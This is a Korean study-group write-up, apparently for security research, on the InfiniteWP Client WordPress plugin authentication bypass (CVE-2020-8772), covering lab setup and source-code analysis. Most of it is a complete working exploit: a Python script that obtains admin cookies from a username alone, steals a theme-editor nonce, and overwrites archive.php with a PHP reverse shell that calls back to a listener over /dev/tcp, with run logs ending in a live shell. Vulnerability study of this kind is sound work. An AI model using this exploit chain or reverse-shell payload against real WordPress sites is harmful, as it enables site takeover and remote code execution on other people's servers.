[목적]
- 해당 글은 연구하기 위한 목적으로 정리하였으며, 앞으로도 연구 목적으로 올라올 예정임.
- 실력을 향상하기 위하여 스터디 모임에서 정리한 내용을 일부 공개하고 있으면 향후에도 동일한 방식으로 진행될 예정
ref
https://blog.sunggwanchoi.com/kor-infinitewp-client-1-9-4-5-authentication-bypass/
상세 분석 결과
환경 구축
wordpres 구축
wordpress : 4.8.3
mysql: 5.7
docker-compose.yml
version: "3.3"
services:
db:
image: mysql:5.7
volumes:
- ./db_data:/var/lib/mysql
restart: always
environment:
MYSQL_ROOT_PASSWORD: somewordpress
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wordpress
wordpress:
depends_on:
- db
image: wordpress:4.8.3
volumes:
- ./wordpress_data:/var/www/html
ports:
- "8000:80"
restart: always
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
WORDPRESS_DB_NAME: wordpress
docker-compose up -d
계정 생성
취약한 플러그 설치
원하는 버전의 플러그인 다운로드 방법
<https://downloads.wordpress.org/plugin/><플러그인_이름>.<버전>.zip
<https://downloads.wordpress.org/plugin/iwp-client.1.9.4.4.zip>
파일 업로드 용량 늘리는 방법
Increase Maximum Upload File Size, WP 파일 관리자 플러그인 설치
.htaccess 에 아래 내용 추가
php_value upload_max_filesize 32M php_value post_max_size 64M php_value memory_limit 128M php_value max_execution_time 300 php_value max_input_time 300
iwp-client 플러그인 설치
타겟
이름 : Infinite WP
유형 : 워드프레스 플러그인
버젼 : < 1.9.4.5
기능 : 여러개의 워드프레스 사이트를 관리,모니터링 해주는 플러그인
취약점
설명
Authentication Bypass 취약점
공격자가 워드프레스 유저의 이름을 알고 있으면 해당 유저의 사용자 인증 쿠키를 알아낼 수 있는 취약점
페이로드
{"iwp_action": "add_site", "params": {"username": "admin"}}
취약점 발생 지점
init.php 파일
iwp_mmb_set_request 함수
PoC 실행
PoC 코드
import requests
import pprint
import argparse
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", required=True, help="URL of the target WordPress site.")
args = parser.parse_args()
url = args.url
data = '_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ=='
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
# 요청 객체 사전 준비
request = requests.Request('POST', url, data=data, headers=headers)
prepared_request = request.prepare()
# 패킷 출력 (Burp Suite 스타일)
print("=== Request ===")
print(f"{prepared_request.method} {prepared_request.path_url} HTTP/1.1")
for header, value in prepared_request.headers.items():
print(f"{header}: {value}")
print()
print(prepared_request.body)
print()
# 요청 보내기
response = requests.Session().send(prepared_request)
# 응답 패킷 출력
print("\\n=== Response ===")
print(f"HTTP/{response.raw.version} {response.status_code} {response.reason}")
for header, value in response.headers.items():
print(f"{header}: {value}")
print()
if response.content:
print(response.content.decode())
print()
if 'IWPHEADER' in response.text:
print('\\n[+] Vulnerable')
else:
print('\\n[+] Not vulnerable')
실행 결과
python .\\poc.py -u <http://localhost:8000>
=== Request ===
POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ==
=== Response ===
HTTP/11 200 OK
Date: Sat, 09 Sep 2023 06:14:06 GMT
Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/8.0.30
Set-Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7C3efd8dc118e2254f28f58e01e08379acb3c549eacd0fe6ab0b4e4b37bd21f18b; path=/wp-content/plugins; HttpOnly, wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7C3efd8dc118e2254f28f58e01e08379acb3c549eacd0fe6ab0b4e4b37bd21f18b; path=/wp-admin; HttpOnly, wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7Ca095bf77a2d4a9697d0b8859a16435bb44e0245bebbf1d70a8897b68b0b9920b; path=/; HttpOnly, wordpress_sec_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7Ce2952a11bf492fc0e27bdd7820f01c9d134ae58efc291909e5296beb2a0ac4b9; path=/wp-content/plugins; secure; HttpOnly, wordpress_sec_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7Ce2952a11bf492fc0e27bdd7820f01c9d134ae58efc291909e5296beb2a0ac4b9; path=/wp-admin; secure; HttpOnly, wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7C399a76985c0c86303848f480390bad5a4166268ca4b7a62d2de1c42e83b44c47; path=/; HttpOnly
Vary: Accept-Encoding
Content-Length: 162
Content-Type: text/plain;charset=UTF-8
<IWPHEADER>_IWP_JSON_PREFIX_eyJlcnJvciI6IkludmFsaWQgYWN0aXZhdGlvbiBrZXkiLCJlcnJvcl9jb2RlIjoiaXdwX21tYl9hZGRfc2l0ZV9pbnZhbGlkX2FjdGl2YXRpb25fa2V5In0=<ENDIWPHEADER>
[+] Vulnerable
Request
=== Request ===
POST /wp-admin/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 93
_IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ==
{"iwp_action":"add_site","params":{"username":"admin"}}
Response
=== Response ===
HTTP/11 200 OK
Date: Sat, 09 Sep 2023 06:14:06 GMT
Server: Apache/2.4.56 (Debian)
X-Powered-By: PHP/8.0.30
Set-Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7C3efd8dc118e2254f28f58e01e08379acb3c549eacd0fe6ab0b4e4b37bd21f18b; path=/wp-content/plugins; HttpOnly, wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7C3efd8dc118e2254f28f58e01e08379acb3c549eacd0fe6ab0b4e4b37bd21f18b; path=/wp-admin; HttpOnly, wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7COlXiXvkdOcf3sSTTshqHwurg0D0tbGmJjipzmYLeanR%7Ca095bf77a2d4a9697d0b8859a16435bb44e0245bebbf1d70a8897b68b0b9920b; path=/; HttpOnly, wordpress_sec_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7Ce2952a11bf492fc0e27bdd7820f01c9d134ae58efc291909e5296beb2a0ac4b9; path=/wp-content/plugins; secure; HttpOnly, wordpress_sec_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7Ce2952a11bf492fc0e27bdd7820f01c9d134ae58efc291909e5296beb2a0ac4b9; path=/wp-admin; secure; HttpOnly, wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1694412847%7Cfw63YzduxLX0ZqDJvDlPEvWJ4SD5PcBxZakNBRDqzm2%7C399a76985c0c86303848f480390bad5a4166268ca4b7a62d2de1c42e83b44c47; path=/; HttpOnly
Vary: Accept-Encoding
Content-Length: 162
Content-Type: text/plain;charset=UTF-8
<IWPHEADER>_IWP_JSON_PREFIX_eyJlcnJvciI6IkludmFsaWQgYWN0aXZhdGlvbiBrZXkiLCJlcnJvcl9jb2RlIjoiaXdwX21tYl9hZGRfc2l0ZV9pbnZhbGlkX2FjdGl2YXRpb25fa2V5In0=<ENDIWPHEADER>
admin 유저의 인증이 담긴 쿠키들을 Set-Cookie를 통해 반환해주고 있음
{"error":"Invalid activation key","error_code":"iwp_mmb_add_site_invalid_activation_key"} 라는 응답을 보냄
정리
{"iwp_action":"add_site","params":{"username":"admin"}} 요청을 보내면 워드프레스는 invalid_activation_key 라는 에러를 반환하지만, 에러와 함께 admin 유저의 인증 쿠키가 같이 반환됩니다.
취약점 소스 코드 분석
취약한 함수
iwp_mmb_set_request()
iwp_mmb_parse_request()
취약한 함수가 포함된 파일
❯ grep -ri "iwp_mmb_set_request" .
./init.php:if (!function_exists ('iwp_mmb_set_request')) {
./init.php: function iwp_mmb_set_request(){
./core.class.php: add_action('setup_theme', 'iwp_mmb_set_request');
init.php
iwp_mmb_set_request 함수가 정의된 파일은 init.php
core.class.php
iwp_mmb_set_request
function iwp_mmb_set_request(){
global $current_user, $iwp_mmb_core, $new_actions, $wp_db_version, $wpmu_version, $_wp_using_ext_object_cache, $iwp_mmb_activities_log;
if (is_user_logged_in()) {
iwp_plugin_compatibility_fix();
}
if (empty($iwp_mmb_core->request_params)) {
return false;
}
$params = $iwp_mmb_core->request_params;
$action = $iwp_mmb_core->request_params['iwp_action'];
Request : {"iwp_action":"add_site","params":{"username":"admin"}}
**request_params : {"username":"admin"}**
**request_params['iwp_action'] : "add_site"**
if(isset($params['username']) && !is_user_logged_in()){
$user = function_exists('get_user_by') ? get_user_by('login', $params['username']) : iwp_mmb_get_user_by( 'login', $params['username'] );
if (isset($user) && isset($user->ID)) {
wp_set_current_user($user->ID);
// Compatibility with All In One Security
update_user_meta($user->ID, 'last_login_time', current_time('mysql'));
}
$isHTTPS = (bool)is_ssl();
if($isHTTPS){
wp_set_auth_cookie($user->ID);
}else{
wp_set_auth_cookie($user->ID, false, false);
wp_set_auth_cookie($user->ID, false, true);
}
}
username 파라미터에 값이 설정되어 있는지 확인하고 로그인되어 있는지 확인
username: admin , 로그인 되어 있음
get_user_by 함수가 존재하면 username 에 해당하는 유저의 정보를 가져옴
존재하지 않으면 wp_set_current_user() 함수를 이용해서 유저의 정보를 가져옴
사이트가 HTTPS 프로토콜을 사용하고 있으면 기본 옵션으로 인증 쿠키를 설정
사이트가 HTTP 프로토콜을 사용하고 있으면 HTTPOnly와 Secure 플래그를 모두 비활성화 하고 다시 Secure 플래그만 활성화하여 쿠키를 설정
※ username 만 가지고 사용자 인증을 하고 있다.
※ 보안상 문제가 있음
iwp_mmb_parse_request
global $current_user, $iwp_mmb_core, $new_actions, $wp_db_version, $wpmu_version, $_wp_using_ext_object_cache;
if (strrpos($HTTP_RAW_POST_DATA_LOCAL, '_IWP_JSON_PREFIX_') !== false) {
$request_data_array = explode('_IWP_JSON_PREFIX_', $HTTP_RAW_POST_DATA_LOCAL);
$request_raw_data = $request_data_array[1];
$data = trim(base64_decode($request_raw_data));
$GLOBALS['IWP_JSON_COMMUNICATION'] = 1;
}else{
$data = false;
$request_raw_data = $HTTP_RAW_POST_DATA_LOCAL;
$serialized_data = trim(base64_decode($request_raw_data));
if (is_serialized($serialized_data)) {
iwp_mmb_response(array('error' => 'Please update your IWP Admin Panel to latest version', 'error_code' => 'update_panel'), false, true);
}
}
클라이언트가 보내온 요청을 파싱하는 함수
$HTTP_RAW_POST_DATA_LOCAL 변수에 '_IWP_JSON_PREFIX_ 문자열이 존재하는지 확인
존재하면?
_IWP_JSON_PREFIX_ 를 기준으로 문자열을 나눔
두번째 문자열을 가져와 Base64 디코딩 후 앞뒤 공백을 제거
전역 변수 $GLOBALS['IWP_JSON_COMMUNICATION'] 에 1을 할당하여 JSON 통신임을 나타냄
존재하지 않으면?
※ PoC 코드를 짤 때 _IWP_JSON_PREFIX_<Base64> 형태로 짜야 IWP 플러그인이 처리를 할 수 있다.
if (!$iwp_mmb_core->check_if_user_exists($params['username']))
iwp_mmb_response(array('error' => 'Username <b>' . $params['username'] . '</b> does not have administrative access. Enter the correct username in the site options.', 'error_code' => 'username_does_not_have_administrative_access'), false);
if ($action == 'add_site') {
$params['iwp_action'] = $action;
$iwp_mmb_core->request_params = $params;
return;
}
parameter로 받은 username이 관리자인지 아닌지 확인하고 관리자이면?
$action 이 'add_site' 일때
$params['iwp_action'] 에 $action 대입
request_params 에 $params 대입
※ username 만 가지고 사용자 인증을 하고 있다.
※ 보안상 문제가 있음
iwp_mmb_add_site
if( !function_exists ( 'iwp_mmb_add_site' )) {
function iwp_mmb_add_site($params)
{
global $iwp_mmb_core, $iwp_mmb_activities_log;
$num = extract($params);
if ($num) {
if (!$iwp_mmb_core->get_option('iwp_client_action_message_id') && !$iwp_mmb_core->get_option('iwp_client_public_key')) {
$public_key = base64_decode($public_key);
if(trim($activation_key) != get_option('iwp_client_activate_key')){ //iwp
iwp_mmb_response(array('error' => 'Invalid activation key', 'error_code' => 'iwp_mmb_add_site_invalid_activation_key'), false);
return;
}
response에 있었던 'Invalid activation key' 에러 메시지가 있음
PoC 제작
URL과 관리자 이름을 유저로부터 받는다.
IWP 페이로드를 이용해 타겟 워드프레스로 부터 관리자 쿠키를 받아낸다.
관리자 쿠키를 이용해 리버스 쉘을 전송한다.
Theme Editor를 이용해 archive.php 페이지를 리버스 쉘로 변환한다.
해당 페이지를 방문하면 리버스 쉘이 작동한다.
main
arg = parseArguments()
baseUrl = arg.u
username = arg.n
themeName = arg.t
python .\\cve-2020-8772.py -u <http://127.0.0.1:8000> -n admin -t twentyseventeen
baseUrl = http://127.0.0.1:8000
username = admin
themeName = twentyseventeen
######### CHANGE ME !!! #########
payload = """<?php exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.35.15/4444 0>&1'");"""
######### CHANGE ME !!! #########
무선 LAN 어댑터 Wi-Fi:
연결별 DNS 접미사. . . . :
링크-로컬 IPv6 주소 . . . . : fe80::cf75:83a3:efa1:feca%4
IPv4 주소 . . . . . . . . . : 192.168.35.15
서브넷 마스크 . . . . . . . : 255.255.255.0
기본 게이트웨이 . . . . . . : 192.168.35.1
payload → 현재 PC로 리버스 쉘 요청을 보내는 페이로드
print("[DEBUG] baseUrl - ", baseUrl)
print("[DEBUG] username - ", username)
print("[DEBUG] themeName - ", themeName)
print("[DEBUG] Payload - ", payload)
print("[DEBUG] (Make sure to change the payload)")
print()
[DEBUG] baseUrl - <http://127.0.0.1:8000>
[DEBUG] username - admin
[DEBUG] themeName - twentyseventeen
[DEBUG] Payload - <?php exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.35.15/4444 0>&1'");
[DEBUG] (Make sure to change the payload)
# Setting up basic url, header, payload for the attack
if baseUrl[-1] == '/':
baseUrl = baseUrl[:-1]
header = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537"}
iwpPayload = '{"iwp_action":"add_site","params":{"username":"' + username + '"}}'
iwpPayload = "_IWP_JSON_PREFIX_" + base64.b64encode(iwpPayload.encode('ascii')).decode('utf-8')
session = requests.session()
사용자 인증이 취약한 addsite 함수를 admin 유저로 접속하도록 iwpPayload 설정
페이로드가 정상적으로 파싱 되도록 _IWP_JSON_PREFIX_ + <encoded_payload> 형태로 iwpPayload 설정
requests 모듈을 이용해서 세션 생성
print("[+] Stage1: IWP Exploit & Sanity Check")
result = iwpExploit(session, baseUrl, header, iwpPayload)
print()
print("[+] Stage2: Getting Nonce")
nonce = getNonce(session, baseUrl, header, themeName)
if (nonce == False):
print("[-] Stage 2 failed. Exiting.")
exit(1)
print()
print("[+] Stage3: Injecting Payload into archive.php")
result = injectPayload(session, baseUrl, header, nonce, payload, themeName)
if (result == False):
print("[-] Stage 1 failed. Exiting.")
exit(1)
print()
[1] admin 유저로 /wp-admin 사이트 접속이 가능한지 확인
[2] nonce 값 탈취 진행
[3] archive.php 페이지를 페이로드로 덮어써서 reverse shell 띄움
finalUrl = baseUrl + "/wp-content/themes/" + themeName + "/archive.php"
print("[+] Exploitation Successful. Open up netcat listener & Visit the following URL\\n")
print("[+] Visit --> ", finalUrl, "\\n")
공격 성공 이후 출력되는 URL을 누르면 reverse shell이 연결됨
iwpExploit
def iwpExploit(session, url, header, data):
"""
Exploit IWP vulnerability. All auth_cookie is stored in "session"
:return:bool:Return True/False based on visiting the endpoint
"""
url = url + "/wp-admin/"
print("[+] Trying " + url + " with IWP payload : " + data)
try:
res = session.post(url, headers=header, data=data)
if res.status_code != 200:
print("[-] Failed to reach endpoint")
print(res.status_code)
exit(1)
except Exception as e:
print("[-] Error occurred: " + str(e))
exit(1)
return True
[+] Stage1: IWP Exploit & Sanity Check
[+] Trying <http://127.0.0.1:8000/wp-admin/> with IWP payload : _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ==
admin 유저로 /wp-admin 주소에 접속이 되는지 확인
상태 코드가 200번이 아니면?
getNonce
def getNonce(session, url, header, themeName):
"""
Get Nonce and return Nonce
:return:nonce:str:Nonce of the theme-editor.php?file=archive.php
"""
# First, see if we can visit the theme-editor.php endpoint
urlFirst = url + '/wp-admin/theme-editor.php'
print("[+] Trying " + urlFirst)
try:
res = session.get(urlFirst, headers=header)
if res.status_code != 200:
print("[-] Failed to reach endpoint")
print(res.status_code)
exit(1)
except Exception as e:
print("[-] Error occurred: Potential theme name problem - " + str(e))
exit(1)
# Second, retrieve the nonce from the page and return the nonce
urlSecond = url + '/wp-admin/theme-editor.php?file=archive.php&theme=' + themeName
print("[+] Trying " + urlSecond)
try:
res = session.get(urlSecond, headers=header)
if res.status_code != 200:
print("[-] Failed to reach endpoint")
print(res.status_code)
exit(1)
except Exception as e:
print("[-] Error occurred: Potential theme name problem - " + str(e))
exit(1)
try:
soup = BeautifulSoup(res.text, features='lxml')
nonce = soup.find_all(id='_wpnonce')[0].get('value')
print("[DEBUG] Nonce = ", nonce)
except Exception as e:
print('[-] Error occurred: Potential username problem - ' + str(e))
exit(1)
return nonce
[+] Stage2: Getting Nonce
[+] Trying <http://127.0.0.1:8000/wp-admin/theme-editor.php>
[+] Trying <http://127.0.0.1:8000/wp-admin/theme-editor.php?file=archive.php&theme=twentyseventeen>
[DEBUG] Nonce = f6da1de574
http://127.0.0.1:8000/wp-admin/theme-editor.php?file=archive.php&theme=twentyseventeen
해당 사이트에 admin 유저의 쿠키를 이용해서 접속하는 과정을 burpsuite로 잡아보면?
replay attack 방지를 위해 nonce 값이 함께 전달되고 있음
추후 공격을 위해 해당 nonce 값을 수집
injectPayload
def injectPayload(session, url, header, nonce, payload, themeName):
"""
Inject the php payload into archive.php
:return:bool:True/False based on successfully injecting php payload
"""
url = url + "/wp-admin/theme-editor.php"
payloadData = {"_wpnonce": nonce, "newcontent": payload, "action": "update", "file": "archive.php", "theme": themeName, "scrollto": "0", "docs-list": '', "submit": "Update File"}
print("[+] Trying " + url)
print("[+] Full Payload : ", payloadData)
try:
res = session.post(url, headers=header, data=payloadData)
if res.status_code != 200:
print("[-] Failed to reach endpoint")
print(res.status_code)
exit(1)
except Exception as e:
print("[-] Error occurred: " + str(e))
exit(1)
return True
theme-editor.php 를 이용해서 archive.php 를 페이로드로 덮어씀
POST /wp-admin/theme-editor.php HTTP/1.1
Host: localhost:8000
Content-Length: 125362
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: <http://localhost:8000>
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: <http://localhost:8000/wp-admin/theme-editor.php>
Accept-Encoding: gzip, deflate
Accept-Language: ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: wordpress_70490311fe7c84acda8886406a6d884b=admin%7C1694539956%7CI4n7dZOgnfQ2y32hhLTnBMm37cwqfwCWUWKANbRRGKr%7Cf7af4fbb3032c9c291419a2c7aa6610038a1c920f83ec0c31aac92374ebdac0b; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_70490311fe7c84acda8886406a6d884b=admin%7C1694539956%7CI4n7dZOgnfQ2y32hhLTnBMm37cwqfwCWUWKANbRRGKr%7C317e7700cadefeb3c65235c55650ee0e358222791c6a70ceb2520a406b4b0a44; wp-settings-time-1=1694367175
Connection: close
_wpnonce=bdddcebdd9&_wp_http_referer=%2Fwp-admin%2Ftheme-editor.php&newcontent=%2F*%0D%0ATheme+Name%3A+Twenty+Seventeen%0D%0ATheme+URI%3A+https%3A%2F%2Fwordpress.org%2Fthemes%2Ftwentyseventeen%2F%0D%0AAuthor%3A+the+WordPress+team%0D%0AAuthor+URI%3A+https%3A%2F%2Fwordpress.org%2F%0D%0ADescription%3A+Twenty+Seventeen+brings+your+site+to+life+with+header+video+and+immersive+featured+images.+With+a+focus+on+business+sites%2C+it+features+multiple+sections+on+the+front+page+as+well+as+widgets%2C+navigation+and+social+menus%2C+a+logo%2C+and+more.+Personalize+its+asymmetrical+grid+with+a+custom+color+scheme+and+showcase+your+multimedia+content+with+post+formats.+Our+default+theme+for+2017+works+great+in+many+languages%2C+for+any+abilities%2C+and+on+any+device.%0D%0AVersion%3A+1.3%0D%0ALicense%3A+GNU+General+Public+License+v2+or+later%0D%0ALicense+URI%3A+http%3A%2F%2Fwww.gnu.org%2Flicenses%2Fgpl-2.0.html%0D%0AText+Domain%3A+twentyseventeen%0D%
...................................
...................................
...................................
ned+with+others.%0D%0A*%2F%0D%0A%0D%0A%2F*--------------------------------------------------------------%0D%0A%3E%3E%3E+TABLE+OF+CONTENTS%3A%0D%0A------------ant%3B+%2F*+Make+sure+color+schemes+don%27t+affect+to+print+*%2F%0D%0A%09%7D%0D%0A%0D%0A%09h2%2C%0D%0A%09h5%2C%0D%0A%09blockquote%2C%0D%0A%09.site-description%2C%0D%0A%09.twentyseventeen-front-page.has-header-image+.site-description%2C%0D%0A%09.twentyseventeen-front-page.has-header-video+.site-description%2C%0D%0A%09.entry-meta%2C%0D%0A%09.entry-meta+a+%7B%0D%0A%09%09color%3A+%23777+%21important%3B+%2F*+Make+sure+color+schemes+don%27t+affect+to+print+*%2F%0D%0A%09%7D%0D%0A%0D%0A%09.entry-content+blockquote.alignleft%2C%0D%0A%09.entry-content+blockquote.alignright+%7B%0D%0A%09%09font-size%3A+11pt%3B%0D%0A%09%09width%3A+34%25%3B%0D%0A%09%7D%0D%0A%0D%0A%09.site-footer+%7B%0D%0A%09%09padding%3A+0%3B%0D%0A%09%7D%0D%0A%7D%0D%0A&action=update&file=style.css&theme=twentyseventeen&scrollto=400&submit=%ED%8C%8C%EC%9D%BC+%EC%97%85%EB%8D%B0%EC%9D%B4%ED%8A%B8
워드프레스 관리자 페이지에서 테마를 변경하는 과정을 burpsuite로 잡아보면?
_wpnonce 변수를 통해 nonce 값을 전달하고 있음
new_content를 통해 새롭게 변경할 테마의 코드를 전달하고 있음
action 을 통해서 테마를 update 하겠다고 하고 있음
file 을 통해 변경할 파일을 설정하고 있음
theme 를 통해서 현재 테마명을 전달하고 있음
scrollto 를 통해서 400으로 스크롤 하게 설정하고 있음
submit 을 통해서 파일+업데이트를 하겠다고 전달하고 있음
PoC 코드 실행
ncat -lvnp 4444
python .\\cve-2020-8772.py -u <http://127.0.0.1:8000> -n admin -t twentyseventeen
[DEBUG] baseUrl - <http://127.0.0.1:8000>
[DEBUG] username - admin
[DEBUG] themeName - twentyseventeen
[DEBUG] Payload - <?php exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.35.15/4444 0>&1'");
[DEBUG] (Make sure to change the payload)
[+] Stage1: IWP Exploit & Sanity Check
[+] Trying <http://127.0.0.1:8000/wp-admin/> with IWP payload : _IWP_JSON_PREFIX_eyJpd3BfYWN0aW9uIjoiYWRkX3NpdGUiLCJwYXJhbXMiOnsidXNlcm5hbWUiOiJhZG1pbiJ9fQ==
[+] Stage2: Getting Nonce
[+] Trying <http://127.0.0.1:8000/wp-admin/theme-editor.php>
[+] Trying <http://127.0.0.1:8000/wp-admin/theme-editor.php?file=archive.php&theme=twentyseventeen>
[DEBUG] Nonce = 1cfc1aea53
[+] Stage3: Injecting Payload into archive.php
[+] Trying <http://127.0.0.1:8000/wp-admin/theme-editor.php>
[+] Full Payload : {'_wpnonce': '1cfc1aea53', 'newcontent': '<?php exec("/bin/bash -c \\'bash -i > /dev/tcp/192.168.35.15/4444 0>&1\\'");', 'action': 'update', 'file': 'archive.php', 'theme': 'twentyseventeen', 'scrollto': '0', 'docs-list': '', 'submit': 'Update File'}
[+] Exploitation Successful. Open up netcat listener & Visit the following URL
[+] Visit --> <http://127.0.0.1:8000/wp-content/themes/twentyseventeen/archive.php>
ncat -lvnp 4444
Ncat: Version 7.94 ( <https://nmap.org/ncat> )
Ncat: Listening on [::]:4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 192.168.35.15:13159.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)